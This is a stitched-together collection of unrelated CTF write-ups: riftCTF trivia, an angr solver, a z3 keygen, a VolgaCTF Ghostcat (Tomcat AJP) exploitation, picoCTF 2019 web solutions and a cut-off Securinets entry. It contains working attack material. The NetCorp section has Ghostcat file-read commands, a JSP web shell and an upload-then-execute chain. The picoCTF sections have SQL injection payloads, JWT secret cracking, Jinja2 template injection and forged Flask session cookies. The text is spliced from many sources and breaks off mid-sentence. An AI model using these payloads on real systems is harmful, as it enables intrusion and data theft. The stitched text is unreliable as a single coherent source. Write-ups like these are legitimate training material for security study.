% flag.length; let temp = flag[i]; flag[i] = flag[n]; flag[n] = temp; } return flag;} function check_action() { var action = document.getElementById("action").value; var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]; // TODO: unscramble function}``` So the flag is the following. ```pctf{hey_boys_im_baaaaaaaaaack!}```
For this challenge, we are given a Youtube link, https://youtu.be/erECF4vlKQ8. Opening the video reveals some audio and we are asked to find the song name. A good tool for challenges like these is the mobile app, Shazam. Pressing the Shazam button brings you to a new screen, meaning that the app is listening and will find the song and its details. When we play the Youtube video and have Shazam listening to the audio, we get a screen saying that Shazam can not find a song matching the audio. Listening to the audio, we realized that the song was reversed, so we looked for tools to reverse the audio of a Youtube video and found Kapwing. Link to the reversed audio: https://www.kapwing.com/videos/5e7ed97745d0350015dba5e1. Result: When we play the new, reversed audio and have Shazam listening to the audio, we find out that we are listening to The Hills by The Weeknd. Flag: riftCTF{The_Hills}
For this challenge, we are given a Youtube link, https://youtu.be/CrB58R36onw. The video doesn't seem to contain anything particularly interesting as does the audio. Scrolling down a bit, we see a message in the video description. We see that there is a link in the description. Opening the link leads us to an Imgur page. Oof, we got rickrolled. riftCTF{rick roll'd} is just a bait and isn't the correct flag. Looking at the hint, we see that the correct flag is in plain sight and that the flag format is riftCTFflaghere. So, we backtrack and go back to the video description and look closer. Result: We look more closely at the fake, rickroll link, http://bit.ly/riftCTFnow_you_see_me, and see that the flag is actually right in front of us in the link. Flag: riftCTFnow_you_see_me
## Original writeup https://www.tdpain.net/progpilot/nc2020/oneperminute/-----Archive link https://web.archive.org/web/20200309205323/https://www.tdpain.net/progpilot/nc2020/oneperminute/
For this challenge, we are asked to find the name of a quantum computer. The hint states that "This beast operates on 53 qubits and recently achieved 'Quantum Supremacy'. We are sure that you know its name." Doing a quick google search on Quantum Supremacy and 53 qubits, we find a news article by SiliconANGLE from late 2019. Link: https://siliconangle.com/2019/10/23/google-reaches-quantum-supremacy-milestone-53-qubit-sycamore-chip/ Result: Going through the page, we learn that at one of Google's research labs, they developed a 53-qubit, superconducting chip called Sycamore. Google claimed that Sycamore achieved quantum supremacy, "the ability to perform complex calculations too difficult for even the most sophisticated classical machines", by successfully completing complex calculations. Flag: riftCTF{Sycamore}
TL;DR: Rev the protocol from the transferred data and build your own client. The first transferred position is always the circle, so just return that as a tuple.
```import angrimport claripy def main(): proj = angr.Project('autorev_assemble') st = proj.factory.full_init_state(args=[proj.filename], add_options=angr.options.unicorn, remove_options={angr.options.LAZY_SOLVES}) sm = proj.factory.simulation_manager(st) sm.explore(find=0x40894c) return sm.found[0].posix.dumps(0)# .lstrip('+0').rstrip('B') # Blockchain big data solutions now with added machine learning. Enjoy! I sincerely hope you # actf{wr0t3_4_pr0gr4m_t0_h3lp_y0u_w1th_th1s_df93171eb49e21a3a436e186bc68a5b2d8ed} instead of # doing it by hand. if __name__ == '__main__': print(repr(main()))```
For this challenge, we are asked to join the riftCTF discord chat at https://discord.gg/MTBdkqd. After joining the Discord, we find a channel called #flag. Result: Going into the channel, we find a post by the admin containing the flag at the end. Flag: riftCTF{sanity_check} Note: The permissions to the channel have been changed after the challenge and the flag is unavailable now.
# DotNetMe (34 solves) > Don't get confused when solving it! The binary is packed with confuser v 1.3. Solution: Open in dnspy, place bp on first dll call, trace password checking routine.First it checks `length == 29` Then it checks if `len(key.split('-')[i]) == 4` So the flag format should be `YYYY-YYYY-YYYY-YYYY-YYYY-YYYY` After that it performs xor checksum of all characters in the string and compares the value with 41. Then it gets encoded flag, creates new string with out input and encoded flag and checks xor checksum with 74. The hard part was to get hardcoded flag, since the binary is packed, dnspy could not show local variables so we basically debugged blindly. The way I solved it is by dumping the whole process onto the disk and running `strings -n29 proc.dmp` After we get the encoded flag we can write a keygen: ```python from z3 import *import stringkey = '3cD1Z84acsdf1caEBbfgMeAF0bObA'alp = string.ascii_lowercase + string.ascii_uppercase + string.digitsflag_len = 29 def find_all_posible_solutions(s): while s.check() == sat: model = s.model() block = [] out = '' for i in range(flag_len): c = globals()['b%i' % i] out += chr(model[c].as_long()) block.append(c != model[c]) s.add(Or(block)) print(out) def main(): s = Solver() k = 0 for i in range(flag_len): globals()['b%d' % i] = BitVec('b%d' % i, 32) c = globals()['b%d' % i] if (i + 1) % 5 == 0: s.add(c == ord('-')) else: s.add(Or([c == ord(i) for i in alp])) k ^= c s.add(k == 41) k = 0 for i in range(flag_len): c = globals()['b%d' % i] n = c * ord('*') v = ((n >> 6) + (n >> 5) & 127) ^ (n + ord(key[i]) & 127) ^ ord(key[flag_len - i - 1]) k ^= v s.add(k == 74) find_all_posible_solutions(s) if __name__ == "__main__": sys.exit(main()) ``` ```$ python3 go.pyvsxs-wvmX-7qD3-66qn-UNro-IXurnQ8N-BAbl-hcHR-KncK-YfBB-I5OPnq8N-BAbl-HcHR-KncK-YfBB-I5OPT3q8-Ordh-OATM-CqqK-MXX9-g0tST3Y8-Ordh-OATM-CqqK-MXp9-g0tST3Y8-Ordh-OATM-CqqK-MX09-gptST3Y8-Ordh-OATM-Cqqk-MX09-gPtSABbL-LEkI-pFLG-8lcD-aJ6Z-NBNI ```
# NetCorp### Category: web### Description:Another telecom provider. Hope these guys prepared well enough for the network load... netcorp.q.2020.volgactf.ru ### Solution:In this challenge all we get is a URL to a page [this one](index.html), there is nothing in this website that can be spotted from here except for a folder name `resources` that stores images and other stuff. No robots.txt, no backup, nothing. Using dirb on the site we get some juicy information: ```bash---- Scanning URL: http://netcorp.q.2020.volgactf.ru:7782/ ----+ http://netcorp.q.2020.volgactf.ru:7782/docs (CODE:302|SIZE:0)+ http://netcorp.q.2020.volgactf.ru:7782/examples (CODE:302|SIZE:0)+ http://netcorp.q.2020.volgactf.ru:7782/index.html (CODE:200|SIZE:2684)+ http://netcorp.q.2020.volgactf.ru:7782/resources (CODE:302|SIZE:0)+ http://netcorp.q.2020.volgactf.ru:7782/uploads (CODE:302|SIZE:0)``` Whenever we visited `examples` and `docs` we gained an important information: the server is under Apache Tomcat so we googled about known CVE and there is one from a month ago: **Ghostcat**. How the vuln works? Basically if there is an AJP port exposed we can reach a LFI and if we can upload arbitrary files we can even reach RCE. Let's run nmap: ```bash0/tcp filtered unknown22/tcp open ssh135/tcp filtered msrpc137/tcp filtered netbios-ns138/tcp filtered netbios-dgm139/tcp filtered netbios-ssn445/tcp filtered microsoft-ds7782/tcp open unknown8009/tcp open ajp139090/tcp open zeus-admin```There is an AJP port opened. So let's try if the server is effectively unpatched, for this we've used one of the poc that you can find on github: [AJPShooter](https://github.com/00theway/Ghostcat-CNVD-2020-10487) ```bashpython3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/web.xml read```BOOM, the server is affected by the vuln! [response](web.xml) From this file we can understand a couple of things:```xml<servlet> <servlet-name>ServeScreenshot</servlet-name> <display-name>ServeScreenshot</display-name> <servlet-class>ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>ServeScreenshot</servlet-name> <url-pattern>/ServeScreenshot</url-pattern> </servlet-mapping> <servlet> <servlet-name>ServeComplaint</servlet-name> <display-name>ServeComplaint</display-name> <description>Complaint info</description> <servlet-class>ru.volgactf.netcorp.ServeComplaintServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>ServeComplaint</servlet-name> <url-pattern>/ServeComplaint</url-pattern> </servlet-mapping>```Basically there are two webapps running on this tomcat installation: `ServeComplaint` and `ServeScreenshot`, to dump the file we need to understand where the java class files are stored: in the above file there is the tag `servlet-class` which gives us the name but no directory. Checking the tomcat docs we can find that the class are placed in the `/WEB-INF/classes` directory so let's exfiltrate the source code with:```bashpython3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class read -o ServeScreenshotServlet.class python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeComplaintServlet.class read -o ServeComplaintServlet.class```To check the content you can use `file` which should output:```bashServeComplaintServlet.class: compiled Java class data, version 52.0 (Java 1.8)``` Let's reverse both class files with jd-gui: [ServeComplaintServlet](ServeComplaintServlet.java) is basically empty but [ServeScreenshotServlet](ServeScreenshotServlet.java) gives us the ability to upload file on the server, we have all the prerequisites for the RCE vuln, let's exploit! Firstly we need to create a jsp file to execute shell commands:```jsp<%@ page import="java.util.*,java.io.*"%><%%><HTML> <BODY> <% String command = "<command>"; out.println("Command: " + command + ""); Process p; if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ p = Runtime.getRuntime().exec("cmd.exe /C " + command); } else{ p = Runtime.getRuntime().exec(command); } OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } %> </BODY></HTML>```I'll use `ls` command in first place to understand what is in the directory, we can upload it with a basic html form:```html<html><body> <form action="http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot" method="post" enctype="multipart/form-data"> <input type="file" name="filename"> <input type="submit" value="true"> </form> </body></html>``` Once the response is `{'success':'true'}` we succesfully uploaded the file, we can calculate the filename with python hashlib:```bashpython3 -c "import hashlib; print(hashlib.md5(b'shell.jsp').hexdigest())"797cc99954a3c1a3dddeed68bb4377af```let's trigger the rce with:```bashpython3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /uploads/797cc99954a3c1a3dddeed68bb4377af eval```We got the list of files, the RCE is working:```html<HTML> <BODY> Command: ls17pekog117pekog1.117pekog1.217pekog1.317pekog1.4BUILDING.txtCONTRIBUTING.mdLICENSENOTICEREADME.mdRELEASE-NOTESRUNNING.txtRunner34496.jarbincmd.jspconfcurldelta.jspdelta.jsp.1flag.txtindex.htmlindex.html.1index.html.10index.html.11index.html.12index.html.13index.html.14index.html.15index.html.16index.html.17index.html.18index.html.2index.html.3index.html.4index.html.5index.html.6index.html.7index.html.8index.html.9libllllogstempuipnopuiuipnopui.1uipnopui.2uipnopui.3uipnopui.4uipnopui.5webappswork </BODY></HTML>``` the flag file is here, we just need to repeat the process with `cat flag.txt` command instead of ls and we should get the flag! ### Flag:```VolgaCTF{qualification_unites_and_real_awesome_nothing_though_i_need_else}```
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to `False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. ![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: `picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
# CTFSecurinets Quals 2020 WriteupThis repository serves as a writeup for CTFSecurinets Quals 2020 ## Empire Total **Category:** Web**Points:** 1000**Solves:** 7**Author:** TheEmperors**Description:** >In this task, you have to hack the website and get the flag from the database. This task doesn't need any brute force, you can read the source code : >`git clone https://github.com/mohamedaymenkarmous/virustotal-api-html` >For more information: read the description inside the task: >Link: https://web0.q20.ctfsecurinets.com **Hint:** > No hint. ### Write-upWhen you visit the task page, you will get this page So, this platform is scanning the IP addresses from Virus Total. And we can do that from this link [https://www.virustotal.com/gui/home/search](https://www.virustotal.com/gui/home/search). Let's try and scan an IP address. For example: `200.200.200.200` : [https://www.virustotal.com/gui/ip-address/200.200.200.200/relations](https://www.virustotal.com/gui/ip-address/200.200.200.200/relations). Which are basically the only information that we will need. This example was done directly on Virus Total. Now, we will do the same test on the task: The first thing that we will notice, if we keep the page longer without doing any request, we will get an invalid captcha error from the URL only when performing a new scan. Let's do again a new scan with the `200.200.200.200` IP address: The 2 results are the same. And the task goal is to retrieve the flag from the database which smells like an SQL injection. We don't need to worry about that because we will know about it when we start reviewing the source code from the Github project: [https://github.com/mohamedaymenkarmous/virustotal-api-html/tree/84be0189537a0b780d89a0e7b9c4e375f6893eb4](https://github.com/mohamedaymenkarmous/virustotal-api-html/tree/84be0189537a0b780d89a0e7b9c4e375f6893eb4). Since the idea is to get access to the database, we should try to find any vulnerability in the [www/index.php](https://github.com/mohamedaymenkarmous/virustotal-api-html/blob/84be0189537a0b780d89a0e7b9c4e375f6893eb4/www/index.php) and the [VirusTotal.py](https://github.com/mohamedaymenkarmous/virustotal-api-html/blob/84be0189537a0b780d89a0e7b9c4e375f6893eb4/VirusTotal.py) files. But after reviewing the www/index.php file, the `$_GET` parameter was sanitized and it should really match with a real IP address. Also the mysql queries are prepared with PDO. The captcha_response was not really sanitized but it would never help. Starting from here, we don't have nothing to exploit which is so sad. That's an impossible mission. But after reviewing the VirusTotal.py file, we was surprised about the SQL queries that were not prepared. But the IP address that is supposed to help us with the SQL injection is sanitized. So what to do ? Maybe we can perform the SQL injection from somewhere by back-tracking the fields that are inserted in the database and have a clue if we can proceed with the SQL injection from somewhere. By 